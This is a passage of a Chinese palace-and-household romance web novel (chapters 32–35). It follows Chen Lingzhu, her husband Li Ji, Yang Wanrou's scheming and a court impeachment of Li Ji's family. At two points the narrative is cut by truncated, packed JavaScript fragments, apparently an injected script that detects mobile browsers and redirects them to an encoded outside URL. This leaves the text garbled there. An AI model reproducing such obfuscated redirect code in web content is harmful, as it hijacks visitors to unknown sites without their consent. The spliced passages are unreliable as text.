李济远观已是彷如仙人,近看更是英武非凡,尤其这一双眼睛,叫他一看,让人几乎忘了身在何处。 幸亏她今日为了不在李照芙面前露怯,把新做的最好的衣裳穿上了。 这一身留仙裙仙气十足,将她的好身段完完全全地展露了出来。 她微微抬起头,知道从李济所站的位置,能看到她水光点点的美眸和娇润欲滴的红唇。 她知道自己此时看起来又娇又媚,惹人怜惜。 只要李济不是木头,不是瞎子,就不可能不为所动。 陈灵珠看着杨绾柔这副含羞带怯的模样,岂能还不知她的想法。 她觉得不可思议,安平伯府内里虽然不堪,但对外,好歹也算是有点头脸的人家。杨绾柔作为杨家的嫡出女儿,若愿意,总能嫁一个过得去的男子。 可结果,她竟想对李济这个有妇之夫下手。 她在心中冷笑,杨绾柔是因为李济是她的丈夫才抢人,还是李济和他身后的镇国公府太吸引。 或许,二者都有罢。 她偏头看向李济,杨绾柔的意图,他能看得出来吗? 李济再问:“贵府与陈府是亲戚?” 杨绾柔一时有些拿不准李济这句话的意思,想了想,觉得他或许还是在介意他们杨家与陈家的姻亲关系,心中不免咯噔一下,担心李济因为这一点心里先存了偏见。 但这件事是无法否认的,她柔声道:“是,先姑母早年嫁给了陈大人为妻,只是先姑母已去世多年了。” 她这样说,真是进可攻退可守,她说的都是事实,一点儿错没有,但李济只要细想想,便能想清楚其中关窍:维系两家亲戚关系的关键人物早就死了,就算是亲戚,两家的关系也早就疏淡了。 她回应的这样妥帖,她的母亲听了都该为她的聪明周全叫好,可惜,她对面的人是李济。 “既是如此,你与内子也称得上亲戚,为何蓄意毁坏她的名声,还要上门挑衅?” 他记得,当时京城流传甚广的陈灵珠抢了姐姐亲事的流言,便是安平伯府的一个女儿传出去的。 如果他没有猜错的话,那个安平伯府的女儿应当便是眼前这个女子。 流言传出时,因问题的根源在陈进夫妇身上,所以他当时只对放任流言的陈进小惩大诫,并没有特意去找安平伯府的麻烦,因他知道陈进被陛下训斥之后,必会掉头去找安平伯府算账。 只是他放他们一马没有直接上门,这安平伯府也应当有点自知之明,从此莫再来招惹。结果眼前这女子不但在背后使坏,竟然还敢上门挑衅。 他活了二十余年,还从未见过如此荒唐之事。在镇国公府这杨姓女子尚且如此,那在陈府呢?想必更放肆了罢? 他眼含怜悯地看了陈灵珠一眼,她的父母到底让外人将自己的女儿欺凌到了何种地步? 杨绾柔脸上的血色褪了个干干净净。 她的事情做得隐秘,她没想到李济知道传流言的事,更从未想过李济会为陈灵珠出头。在她心里,陈灵珠只是被硬塞过来的次货,迟早有一日会被扫地出门的。 可是如今,李济不但称陈灵珠为“内子”,还为了陈灵珠如此面斥自己。 她心中又是酸胀,又是慌乱,掐了掐手心,让双眸蒙上一层水光,让自己看起来楚楚可怜、含冤抱屈,然后道:“世子误会我了,这其中有个缘故——” “罢了!” 李济打断她,不耐烦听她所谓的“缘故”:“是什么缘故,你心知肚明。我只提醒你与贵府,内子如今是我镇国公府的人,你们若胆敢再欺负她,莫怪我不留情面!” 杨绾柔的眼泪这回是真的流了下来,什么镇国公府的人,李济是得了失心疯罢,难道还认真把陈灵珠这个假货认作妻? 陈灵珠本来还在想应当如何让李照芙远离杨绾柔这个小人,免得镇国公府也如陈府一样被她搅得不安宁,如今看来,应当不必了。 李照芙不知杨绾柔所做的事,听了哥哥的话也是云里雾里,可杨绾柔是她请来的,如今因为陈灵珠把杨绾柔弄得抽抽搭搭,她就有些不高兴,面子也有些过不去,对李济道:“二哥,你把我的客人说哭了!” 李济斜她一眼,近墨者黑,李照芙与这样心术不正的人混在一起,他不赞成。 他对李照芙道:“还有你,怎能联同外人对自己的嫂嫂如此无礼?” 见哥哥又为陈灵珠说她,李照芙不高兴地嘟起嘴。 李济给了个好自为之的眼神,迈步走开。 陈灵珠也懒得理这二人了,跟着李济转身,还拂了拂袖子。 不错,她就是在狐假虎威。 看着陈灵珠忍不住往上扬的嘴角,李济知道,他又一次做了与自己的目标背道而驰之事。 陈灵珠对着李济嘻嘻地笑,他看她一眼:“这也值得你高兴成这样?” “当然了。”她笑眯眯地不否认,“谢谢你,世子。” 看杨绾柔吃瘪,她很愉悦。 虽然她可以自己下场收拾杨绾柔,可是有别人代劳的感觉总是不同的。 “没出息。”他面露嫌弃。 没出息就没出息罢,谁说这样简单的快乐不是快乐呢。 陈灵珠嘻嘻地笑,也不回书房了,带着两个丫鬟回了梅林上筑。 “少夫人,您刚才看到杨姑娘的做派了吗?” 陈灵珠主仆三人回到梅林上筑,紫苏问她。 陈灵珠当然看到了,连紫苏也这么想,可见并不是她多心。 “我看她那样子,倒好像,好像……” 好像想勾引世子似的。 紫苏说不出那两个字,太羞耻了。平日里他们杨家人倒是人模人样,现在可好,竟然妄图勾引有妇之夫!亏她还是伯府出身的姑娘! 还好世子根本没理她。 陈灵珠惬意地躺到美人榻上,双脚交叉,将双手枕在脑后,想到方才的事忍不住哈哈大笑。 奶娘听到三人的 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陈灵瑛原本很是喜欢她的异母妹妹——杜氏所生的女儿陈灵珠,常常妹妹长妹妹短的,但小孩儿之间有争执、甚至打架都是常事,在陈灵瑛与陈灵珠争吵后,杨家女眷便坚持不懈地说陈灵珠的坏话,说她如何不敬长姐,如何目中无人,如何心胸狭隘,如何粗蛮无礼,终于将陈灵瑛说动,令她对陈灵珠起了不满之心。又因陈进、杜氏的处事不公,陈灵瑛与陈灵珠日渐疏远,后来竟到了水火不容的地步,而杨绾柔与陈灵瑛因同仇敌忾而渐渐亲密无间,至此,杨家终于达到了他们牢牢笼络住陈灵瑛的目的。 而杨家确实从中得益无数。 陈进虽对前岳家尽量关照,但并非予取予求。 每当这时,杨家人就会通过陈灵瑛,达到他们的目的。 虽非每一次都奏效,但对杨家人来说,十次里有一两次能成功,就已经足够让人欢喜了。 除此之外,杨绾柔还从陈灵瑛这里得到许多的珠宝首饰、绫罗绸缎。 陈进宠爱长女,把最好的都给了她,宫里也时有赏赐,所以陈灵瑛从来不缺金银财宝。相比之下,杨绾柔虽是伯爷的女儿,但过得并不宽裕。 杨伯爷好色,纳了十几个小妾,他的儿子们在这方面不比他们的父亲逊色,所以拉拉杂杂的,后院里主子、半主子就有近百号人,加上使唤的仆役,伯府里有多少人,竟没个确数。 吃饭的人太多,杨家常常入不敷出,所以杨绾柔虽然是伯爷的嫡女,但分到她手里的,却少得可怜。 陈灵瑛手疏,从来不将阿堵物看在眼里,作为陈灵瑛最亲的表妹和闺中密友,杨绾柔自然能从中分得一杯羹。 所以她针对陈灵珠,与其说是无缘无故,不如说是从中获得好处。 只是,奶娘没想到杨绾柔会故技重施,又来镇国公府搅弄是非。 幸亏世子不像陈家的老爷、夫人那样眼盲心瞎,任由外人作践自己人。 陈灵珠主仆几人高兴,李济却有些烦恼。按他原来的计划,他早出晚归、刻意避开陈灵珠之后,他与陈灵珠应当日渐生疏而客气,就像两个熟悉的邻人。 但事情的发展与他所想相去甚远,他们不仅没有变得生疏,反而越发亲近了。 这样下去,可是不太妙。 33. 第 33 章 杨绾柔回到杨府,大哭了一场。 她的母亲金氏来看她,见她哭得伤心,连忙问她怎么了,她呜咽了半日,话也说不出来。 金氏只好问今日跟着女儿的丫鬟翠玉,翠玉把事情说了,金氏也呆了一瞬,没想到事情会这样急转直下。 这么说,李济不仅知道陈灵珠抢亲事的谣言是女儿传出去的,还把陈灵珠看作了自己人? 这倒是她没有想到的,镇国公府这样势大,她以为,要不他们不知道谣言是女儿传的,要不就根本不在乎陈灵珠。 没想到两样都不是。 心思转了半日,金氏叹了口气道:“柔儿,算了罢,李济……他不是你的良缘。” 李济护着陈灵珠的心就算未必是真的,女儿这里,也没有希望了。再多花心思,也是白白浪费女儿的大好光阴,万一彻底惹恼了李济,更是得不偿失。 杨绾柔听得母亲的话,越发嚎啕大哭,一时后悔自己传谣言时手尾不够干净,一时恨李济有眼无珠,一时又恨陈灵珠狐媚惑人。 若不是陈灵珠,她今日怎会在李济面前如此丢脸! 她不明白,那小贱人到底给李济吃了什么迷魂药,这才嫁过去多久,就让他“内子内子”地叫? 她好不容易才选定了他,又花了许多功夫,更是不惜委屈自己做个继室,可李济竟这么对她! 想到李济那张俊朗逼人的脸和他说出的冰冷刺人的话,她的心就如被刀扎一般。 之前的努力全都付之一炬,她越想越不甘心,咬牙切齿道:“娘!我要那小贱人死!” 金氏被她的话吓了一跳:“我的儿,你可别乱来,你再动她,李济若知道了,岂会轻饶了你!莫说你,就是娘,甚至整个安平伯府都会被牵连!” 杨绾柔哭了半晌后逐渐冷静了下来,道:“娘放心,女儿也是得过教训的人,不会轻举妄动。” 她不会乱来,可要是有了机会,她要那小贱人生不如死。 …… 陈灵珠不知杨绾柔回府后的事,她也不在乎,次日,她又去了外书房。 因为感谢李济,她又给他带了一盅甜汤,亲自放到了他面前并揭开盖子。 “世子请用。” 李济面无表情地看着她,她却咧开嘴朝他灿烂一笑。 眼下的卧蚕鼓起来,圆圆的眼睛被衬得俏皮得可恨。 然而李济知道自己不能再继续这样下去了。 “我会经常在外书房与人议事,你……不太方便在场。你要看的书,不如带到小书房去罢。” 陈灵珠道好,她本也不是一定要在外书房,只是连着几日凑巧罢了。 既然李济有事,她便到其他地方去。 她带上想看的书,施施然地走了。 从这日起连着多日,陈灵珠没有再看到李济。 他似乎很忙,每日早出晚归,她早上起来时,他一定出了门,而她晚上睡下时,他必定还没回到梅林上筑。 不过这对于她,并不是什么大事。她有很多的事情要做,她要看账本,看医书、给丫鬟婆子看病,抽空还要与府里的几个除了李照芙外的未嫁小姑子聚在一起玩乐,有时练练琴,再不然就到太夫人的院子去消磨半日。 这一日,她得了空闲,便与大房的李照槿、李照蓉,还有二房、三房的几个姑娘玩投壶。 陈灵珠是世子夫人,也是长房的嫂子,但年龄和几个小姑子差不多,其中二房的李照葵和三房的李照荷比她还大一两岁。 她性子随和,嘻嘻哈哈的,新点子也多,几个姑娘都很喜欢她。 就连二房的李照葵,虽然她的母亲二夫人总是讲陈灵珠的坏话,也没能阻止她与陈灵珠来往。 “嫂嫂,”李照槿道:“二哥在忙什么?” 这个问题,陈灵珠不会答,因为她也不知道李济在忙什么。 她摇摇头表示自己不清楚。 三房的李照荷笑道:“二嫂,你这样什么都不知道可不行。我娘说了,咱们女孩儿家虽不管男人外面的事,可是一定要清楚他们都在做些什么。” 李照荷已订了亲,明后年就该出阁了,所以三夫人陆陆续续教她一些夫妇相处之道。 陈灵珠从未想过要问李济在忙什么,她总觉得,若他想告诉她,自然会说的。 既然他没有说,那就是不想说,她也没何必追着问。 已成亲的人倒比未成亲的人还不懂,李照荷觉得好笑,给她出主意道:“二嫂,你时不时给二哥哥送个汤、送盏茶什么的,多去几次,可不就知道了?” 李照葵笑李照荷道:“听听,荷儿还未出阁,可是说起嫁人后的事,却是一套套的。” 李照荷脸腾地就红透了,一想,刚才的言辞确实欠妥,但此时认输反而落人话柄,遂笑骂道:“姐姐莫笑话我,你比我早出门子,等你嫁了姐夫,我就不信,你会不问姐夫外面的事!” 李照葵也是订了亲的,很快便要出阁了,被李照荷一说,也不好意思起来,笑着上前扭李照荷的嘴巴。 大家都笑了起来,陈灵珠也哈哈大笑。 玩过了投壶,小姑娘们各自散去,陈灵珠回了梅林上筑。 紫苏见她若有所思,问她:“少夫人在想什么?” 陈灵珠抿了抿唇,问紫苏:“你可觉得世子最近不对劲?” 她虽不知李济在忙什么,可最近他的忙碌,让她觉得有些不正常。 紫苏有些摸不着头脑,想了想,摇头,“婢子愚钝,看不出来。世子哪里不对劲?” 世子早出晚归,她连他的人影都没见过几次,如何能看出来他有什么不对劲?不过她们少夫人说不对劲,那肯定就是不对劲。 陈灵珠无奈,提示道:“你可觉得,世子最近在躲着我?” 紫苏张大了嘴:“啊?” 这是她从未想过的角度,她还以为世子单纯就是忙呢。 “不会罢?” 陈灵珠原本也没这么想,但有一次她起早了,还没来得及出门的李济见了她便加快了脚步;还有一次,她去太夫人院子的路上远远看到李济,李济应也看到了她,她正想与他打声招呼,他却忽然转到了另一条道上,远远地走了。 当时她也没有多想,只当他是忽然有别的事,但这样的事情发生了几次后,她就无法告诉自己那是单纯的巧合了。 可她想不通,李济为何要躲着她? 难道是做了什么与她有关的亏心事? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751520|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但最近镇国公府风平浪静,并不曾听说发生了何事。就是从口疏的阿拙那里,也没有听到任何的新变故。 紫苏道:“少夫人,不如,不如您去找世子问个清楚?” 陈灵珠有些犹豫,疑问归疑问,但她并不想去找他。 倘若李济真是在躲着她,她去找他,岂不是自讨没趣。 何况,她也不觉得现在这样有什么不好,他忙他的,她忙她的,两不相干,自由自在,便是神仙的日子,想来也不过如此了。李济躲不躲着她,其实碍不着什么。 她的奶娘姜嬷嬷恰好进了屋,听到两人后面的话,问:“少夫人要问什么?” 陈灵珠不想奶娘多想,便笑着说没什么,紫苏会意,忙也道:“并不曾要问什么,只是说起世子罢了。” 奶娘听了道:“说起来,少夫人与世子虽同住梅林上筑,却也好久不曾见过面了。” 她劝道:“少夫人,你和世子这样,与邻人有什么区别?情分都是处出来的,日夜相对,无情也变有情,像你与世子这样十天半个月也不见一次的,就是有情也变无情了!” 两人一个住东院,一个住西院,奶娘虽觉得不妥,但之前两位主子感情没到位,她也不好多说什么。 又看他们会一起用膳,时不时还会下盘棋,前不久世子还在杨姑娘面前护着少夫人,本以为他们的感情越来越好了,可没几天,世子就开始早出晚归,等闲见不着人。少夫人呢,不是给人看病就是看医书,又或者去找太夫人或者府里的几个姑娘,似乎从没想过要像之前那样去外书房找世子,这样下去,如何增进感情? 她跟陈灵珠说了几次,陈灵珠却一点也不急,一副世子不回来更好的样子,真是急死个人。 她知道,她们少夫人是还没有开窍,根本不懂这些,可她担心,等到少夫人开窍的那一天,就太晚了。 “少夫人,你听老奴的,咱就跟之前一样,去外书房给世子来个,那个叫,叫,叫‘红袖添香’!对,咱们给世子来个红袖添香!” 陈灵珠被奶娘的说法逗笑了,就算她去外书房,也不是为了什么红袖添香。 见奶娘越说越急,恨不得立刻就把她推去外书房,她安抚奶娘道:“知道了嬷嬷,你不用担心,我有分寸。” 她的分寸就是一动不动,当没有世子这个人,奶娘无奈,“我的少夫人,你就算不去找世子,至少晚上等他一等,让他知道这院里是有人等着他的,下次他才会早点回来。” 这个陈灵珠是真的做不到,别的还好说,要她熬夜做无谓的贤妻她就很为难了。何况她与李济本就分住两院,各不相干,干等着实在没必要。 怕奶娘还要就这个问题啰嗦下去,她抱住奶娘撒娇道:“嬷嬷,我饿了,先让我用膳罢。” 这一招屡试不爽,奶娘知道她饿得快,担心她饿着,天大的事也会先放到一边。 奶娘摇摇头道:“真拿你没办法。” 陈灵珠嘻嘻地笑。 到了晚上,奶娘试图拉着陈灵珠等李济,却哪里敌得过她的瞌睡虫? 无奈之下,只好作罢。 便如此,陈灵珠继续过她平静而快乐的日子,但这份平静,很快被突如其来的一件事打破。 34. 第 34 章 这日大早朝,朝堂上发生了一件说大也大,说小也小的事。 说它大,是因为弹劾的罪名实在不小,说它小,是因这罪名成与不成,全在皇帝的一念之间。 朝臣弹劾李济拥兵自重,这在本朝是老生常谈了,算不得稀奇。 但今日早朝,又有人领着证人弹劾镇国公父子,但罪名不是拥兵自重,而是说他们过去在军中虐待士兵,冒领军功。 镇国公府之所以有今日的地位,就是因为父子俩的赫赫战功,但如今竟说他们的军功是抢别人的,就有些耐人寻味了。 更耐人寻味的是,这弹劾及安排证人的,是陈进。 陈进是镇国公府的姻亲,就在不久之前,陈家的女儿才嫁给了镇国公世子李济。 群臣哗然。 陈家与李家在朝堂上向来不合,忽一日,皇帝给两家赐婚了,朝臣们都以为两家从此会冰释前嫌,没想到这才正式成为亲家两月有余,陈进就弹劾亲家,这到底该称为“铁面无私”呢还是“六亲不认”? 不知内情的群臣都一头雾水,不知陈进唱的哪一出。 冒领军功可是个大罪名,此事若是真的,镇国公父子此前的赫赫战功便成了谎言,镇国公父子名誉扫地不说,只怕还会被重重治罪。 镇国公不在京城,今日上朝的只有李济。 众人看向李济,只见他面色如常,似乎并不惊讶。 尚书左仆射赵文出列,“陈大人,如果我没有记错,令千金与李大人刚刚成婚,还是陛下亲赐的婚,陈大人此举,难道是对陛下赐婚不满?” 陈进连忙道:“赵大人莫转移话题!” 又对皇帝道:“陛下圣明,微臣绝无此意!只是公是公,私是私,微臣不愿因私废公!镇国公父子冒领军功一事事关重大,微臣不能因为是李家的姻亲,便睁一只眼闭一只眼,对朝廷不忠!” 尚书左仆射赵文:“陛下,镇国公父子多年来镇守北部,破敌无数,令胡人秋毫无犯,此事乃是有目共睹。李将军更是少年英杰,智勇无敌,何须抢夺他人功劳?陛下切莫偏听偏信,以免伤了君臣和气。” 枢密副使吕用道:“陛下,臣以为,北部多年太平,固然有镇国公父子的功劳,但镇守北部,其他将士亦是功不可没!据证人所言,之前北部几次战役,几个立了大功的将军之功劳,都被镇国公李跃上书归为李济所有。微臣请陛下下旨彻查,以还立下大功的将士公道!” 忠勇侯张勇和其子张现交换了一下眼神,张勇出列道:“陛下,若随意拉来一人便说军功有假,未免也太儿戏了。镇国公父子镇守北部这么多年,若靠的是抢别人的功劳,北部早就失守了!依微臣看,陈大人、吕大人是过了几年太平日子,就把胡人的凶狠忘得一干二净了。陛下不妨将陈大人、吕大人派到北部,让他们亲自试试,看能否靠抢军功捍卫北部!” 说着,他狠狠地吹了一下胡子,再双眼圆瞪了,冷冷地朝陈进和吕用哼了一声。 吕用也冷哼一声,道:“忠勇侯这就胡搅蛮缠了,在下并不曾说镇国公父子的所有军功都是抢来的,但只要有一分是抢来的,就应该还给人家!至于让在下到北部去,在下一介书生,如何能去北部去抢什么军功?” 张勇冷笑道:“你也知道你屁用没有?镇国公父子在战场拼死拼活的时候,你在哪儿?如今胡人几年不敢动了,好了,你质疑起人家军功的真假了!” 忠勇侯说这句话的时候,几乎把口水都喷到了吕用的脸上。 这时,武安侯不紧不慢道:“陛下,都说镇国公父子骁勇,李世子更是从小被夸旷世奇才,但——”他略略停顿,继续道:“既然有证人,陛下何妨彻查?查清了,若果然是诬陷,也可还镇国公父子一个公道。” 他看向李济:“李大人,你说呢?” 李济微笑道:“周大人这么问,我若说不,岂不是要被周大人扣我一个‘心中有鬼’的帽子?” 他向皇帝拱手:“陛下,微臣与家父行得正站得直,不怕彻查。只是,在查微臣父子之前,还请陛下严查这个所谓的证人与周大人的关系!” 武安侯面上挂不住,几乎要跳起来,张勇打断他道:“阿猫来诬陷也彻查,阿狗来诬陷也彻查,以后咱们的将军什么事儿也不必干,整日自证得了!” 刑部侍郎顾谓道:“陛下,微臣附议忠勇侯之言。镇国公父子镇守边关多年,若因为一两个心怀叵测之人胡说便要彻查,未免令将士寒心!” 多位朝臣道:“微臣附议。” 武安侯朝身后使了个眼色,刑部侍郎丁有之等人道:“陛下,都说李将军神勇无敌,但此次他的遇袭,实在令微臣对他的本事有些疑惑。若他果然如此无敌,怎的还会被刺受伤呢?” 顾谓道:“陛下,臣以为丁大人所言不妥。李将军之所以会遭到暗算,正是因为镇国公父子在战场上神勇无敌,让胡人闻风丧胆!” 丁有之出列:“陛下,……” 赵文出列:“陛下,……” 吕用出列:“陛下……” 朝臣们吵吵嚷嚷,唾沫横飞,皇帝皱着眉头,以手抚额,似乎对此情形十分头痛。 朝臣们越吵越激烈,最后几乎要打起来了,皇帝终于压了压手,叫停了这场口水混战。 “好了,此事,朕相信镇国公父子。” 他疲惫地摆摆手:“散朝罢。” 早朝发生的事,很快传遍朝野上下。 镇国公府自然很快也知道了。 这些日子,陈灵珠渐渐在镇国公府站稳脚跟,所以紫苏这小丫头也有了一些体面,无论在梅林上筑还是去别的院子,众丫鬟、小厮、婆子都对她客客气气,姐姐、姑娘地叫。 今日陈灵珠想吃大厨房之前做过的一个糕点,小厨房的厨娘做得不合陈灵珠心意,紫苏便到大厨房去了。这不是什么大事,以前也不是没有过,但平日里笑嘻嘻点头哈腰的厨娘见了紫苏,脸色却有些发僵,言辞间支支吾吾,竟有做不了的意思。 紫苏本来也没放在心上,以为是厨娘事多忙不过来,但回梅林上筑的路上,众丫鬟小厮见了她,又像见了鬼似的一闪就不见了。 紫苏恍惚觉得,她又回到了她们刚来镇国公府的时候。 后来回到梅林上筑,有两个小丫头见了她也想躲着她,她忍无可忍,抓住一个小丫头,逼问了,才知道陈进弹劾镇国公父子的事。 她顾不上惊讶和气愤,连忙到镇国公府的后花园去找陈灵珠。 “少夫人,怎么办呀。” 紫苏又急又怒,以前也就罢了,如今两家已成了亲家,陈家老爷这样一来,镇国公府的人要怎么看少夫人?他这是完全不顾少夫人的死活! 陈灵珠将想要的那枝芍药连花带枝剪下,小心地放入花篮里,“我也没什么办法。” 这件事与替嫁不同,她替陈灵瑛嫁过来,镇国公府虽有不满,但毕竟她也是陈府嫡女,不傻不呆,镇国公府多少会看在木已成舟的份上吃了这个哑巴亏。 但她的父亲弹劾镇国公府就不同了,无论他的考虑是什么,做这件事是否正义,只要他做了,那就是明明白白地告诉所有人,她这个女儿已被他舍弃了。 普通人家联姻的目的是为了结成利益共同体,如今她不能对夫家有帮衬就算了,娘家还要弹劾夫家,这谁能忍受得了。 设身处地地想想,若她是镇国公府的其他人,也恨不得将她扫地出门。 “少夫人,不如去找世子商量?” 李济?这些时日他们连面都没见过两次,见了面也是说不上两句话,如何找他商量? 找到他,他就会站到她这边吗? 她不知道,也没有信心。其实到了如今,她倒有点明白李济之前为何要躲着她了。 她道:“你们也别太紧张了,无头苍蝇似的,还没到那一步呢。就算真到了那一步,我们也还有退路。” 镇国公府若真要对她怎么样,也不是她去找去问就能解决的。 两个丫鬟知道,少夫人是说就算被赶出镇国公府,她们也不是无处可去。少夫人早就说过,以后若离开镇国公府,她们可以住到庄子上去,若觉得不合适,还可以在城里或是买,或是赁间屋子。 总有办法过下去的。 可是从好好的镇国公世子夫人到下堂妇,这样的落差,别说少夫人,就是她们都觉得难受。 但少夫人说得对,急也没用。 紫苏冷静下来,帮着陈灵珠剪了花枝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈灵珠道:“朝堂上的事情,侄媳也不懂。二婶、三婶,我还有事要忙,先告退了。” 说着便准备从二夫人身边绕过去。 二夫人伸出手拦住她笑道:“别走呀,咱们好好聊聊,你嫁过来这么些日子,咱们娘儿几个还没好好说过话呢。” 陈灵珠在大多数时候,并不愿与人为难,但前提是,莫要逼急了她。 看二夫人这个样子,是不打算放过她了。 她若不回敬一番,她们只怕能追到梅林上筑去。 既然这样,她也就不急着走了。她停了下来,将花篮递给茯苓,看着二夫人笑道:“二婶既然有此兴致,侄媳自然奉陪。我看二婶面色红润,春风得意,想来是堂兄的事情解决了?” 二夫人脸色一变。 镇国公府年轻的一辈中,二夫人的大儿子李海是最不成器的一个。文不成武不就,整日眠花宿柳,倚红偎翠,与一帮纨绔混迹市井、青楼。 前几日,李海被人告到了官府,说他拐带良家妇女。 后来虽然查清是仙人跳,但已足够二房鸡飞狗跳好一阵子了。 儿子是烂泥扶不上墙,但二夫人最见不得别人说她的宝贝儿子,见陈灵珠专挑她的肺管子戳,恼羞成怒道:“现在说你爹的事,你提我儿做什么!他的事用不着你操心!” 陈灵珠微笑道:“侄媳是关心二婶,担心二婶因为堂兄的事伤神。况且,二婶有句话说岔了,都是一家人,二婶关心大房的事儿,侄媳自然也关心二房的事儿,一家人嘛,互相关心也是应该的,您说是不是?” 三夫人本来也想凑热闹刺陈灵珠两句,闻言默默闭了嘴,谁还没个弱点呢?她的大女儿,如今正因为夫婿纳妾的事情与婆家闹得不可开交,照陈灵珠这个架势,一旦自己开了口,她可不会给她留什么情面。 这个侄媳妇,还真是不能欺她小媳妇年轻面嫩。 她不免为自己后开口的明智庆幸——像她这个二嫂,凡事冲在前头,如今可不就丢了老脸? 趁二夫人还没反应过来的功夫,陈灵珠笑盈盈地行了一礼,带着两个丫鬟施施然地走了。 二夫人本意是看陈灵珠的笑话,没想到自己成了笑话,气得指着陈灵珠的背影,话都说不出来。 三夫人劝道:“嫂嫂,别生气了,你又不是没见识过,进门第二日,她就连自己亲婆母都敢顶撞,哪会给你我面子。” 二夫人冷笑道:“我倒要看看,有这样一个爹,嫂嫂和济儿会怎么对她!” 说完便甩手回了自己院子。 35. 第 35 章 二夫人回了自己院子,她的女儿李照葵正在屋子里坐着做针线,见她怒气冲冲地进来,忙问她:“娘怎么了?谁惹您生气了?” 二夫人想起女儿近日常常与陈灵珠等人一起玩投壶,指着女儿道:“我告诉你,以后不许你与那大房的媳妇一起,没得好好的姑娘被她带坏了!” 陈灵珠虽然名分上是嫂嫂,但她今年才十五,比李照葵还小两岁。听她母亲说她要被陈灵珠带坏,李照葵不免有些脸红,忙问道:“二嫂怎么您了,至于发这么大脾气?” 二夫人便把事情添油加醋地说了一遍,恨恨道:“哪个新媳妇对长辈这样的态度?真是没教养,难怪连亲爹也不顾她的死活!” 听了事情经过,李照葵无奈道:“您何必去惹她呢,这件事本就与您无关,真要怎么样,还有祖母、大伯母和二哥哥呢,他们自会处理,您非凑这热闹做什么?” 她的母亲气头之下,她不敢多说,其实她挺喜欢陈灵珠这个堂嫂的。她替陈灵珠担忧,也替陈灵珠委屈,说到底,那些弹劾啊,替嫁啊都不是她的错。 她这么想着,说话间便带了出来,“娘,您消停些罢,咱们安安分分地过日子不好吗?大房的事咱们何必一定要插一脚呢?” 二房虽没有爵位,父亲官职也不算高,但在镇国公府没人亏待他们,他们所有的吃穿用度跟大房也是一样的。若说爵位,大伯父不止一个儿子,二哥哥又是人中龙凤,便是轮也轮不上他们,她不懂母亲为何总是去惹事,还时时与大伯母别苗头。 她的母亲她了解,无理还要搅三分的性子,但这么做除了激怒大房,并无任何益处。 听到自己的女儿竟然帮陈灵珠说话,二夫人骂道:“你这死丫头,胳膊肘怎么净往外拐!还管起你娘来了?我就知道你指望不上!你哥哥气我,你也想气死我!哎哟我这苦命,怎么偏偏生了你们兄妹两个!” 李照葵知道母亲劝不住,见她又开始胡搅蛮缠,心里默默叹了口气。 余光瞥到门口人影一闪,知道是她嫂嫂温月如见母亲正在骂人,来了又悄悄走了。 嫂嫂嫁进来已有一年多,也算熟知她母亲的脾性,知道她骂起人来一时半会儿停不了,与其进来做受气包,不如暂避风头。 这是明智之举。 二夫人骂了一阵,见女儿望着门口神游天外,根本就没听她在说些什么,更是气不打一处来。 然而女儿到底大了,她也不好太过火,只好不耐烦地挥了挥手,让女儿回自己院子去,别在这里碍她的眼。 打发女儿回了自己的院子,她眼珠转了转,跑到太夫人面前“关心大房”去了。 …… 陈灵珠打发了二夫人、三夫人,继续往梅林上筑方向去,但才走到半道,就又遇上了李照芙。 若说眼下陈灵珠最不想见到的人,大概就是李照芙了。 李照芙必定会找她的麻烦,然而她此刻对着李照芙,并没有什么底气。 她身心俱疲,也没有力气跟李照芙吵架。 心里默默叹了口气,她站定,与李照芙两人面对面看向彼此。 “我现在总算知道,你们陈家为什么会把你嫁过来了!你在你爹眼里,怕是连屁都不是!” 李照芙将头高高昂起,轻蔑地冷嗤。 “你说得对。”陈灵珠道,还认同地点了一下头。 亲家弹劾亲家她爹不是第一个,也不会是最后一个,但她清楚,她在她爹心里,确实比屁还轻。 李照芙说得一点儿错都没有。 李照芙没想到她会是这个这反应,这种戳心窝子的话,一般人听了都会难过或者愤怒罢,这陈二为何如此平静? 她有些呆住了,一时竟忘了说话。但她很快反应了过来,又冷笑道:“我只可怜二哥这样的天之骄子,怎么会娶了你这样不堪的女子!” “我也有些可怜他。”她又道。 只能说李济运气不好了,若不是她爹一念之差将她塞了过来,他确实有别的更好的选择。 “你!”李照芙发现,她跟陈灵珠对阵,从来就没有赢过,连在此时此刻,占理的明明是她,她也赢不了陈灵珠。 明明陈灵珠没有反驳自己,明明陈灵珠什么都承认了,她还是觉得自己落了下风,还是觉得自己输了。 她恼火起来,脸涨得通红,这个陈二怎么老是不按常理出牌?真是可恨! 她越发嘴下不留情,“二哥娶了你就够倒霉了,还要搭上你爹这样的老丈人!像你这样的女人,二哥就应该休了你!” 李照芙说得没错,像她这种有娘家还不如没娘家,不但完全没有依仗,亲爹还扯后腿的女子,丈夫确实可以随时休了她。 她的情形虽然略有不同,但李济就算不休她,厌弃她的法子也多的是。 “你说得都对,只管让你二哥休了我便是。” 说完,她不再理会李照芙,转身就走。 这话听到李照芙耳朵里,便是二哥绝不会休她的意思。 “哎!你凭什么这么自信啊!你以为你是天仙下凡啊!” 陈灵珠只留给她一个背影。 “冬香,这个人在骄傲什么啊!等我二哥休了她,有她哭的时候!”李照芙气不过,跟她的丫鬟气哼哼道。 李照芙觉得,赐婚虽然不好休妻,但镇国公府如果一定要休,也不是办不到的。至少将这婚约解除了。 冬香道:“姑娘,二少夫人……二少夫人确实挺好看的……” 她不知道天仙下凡什么样,但她知道二少夫人长得好,至少她每次见都挪不开眼睛,她不知道为什么她们姑娘就是看二少夫人不顺眼。 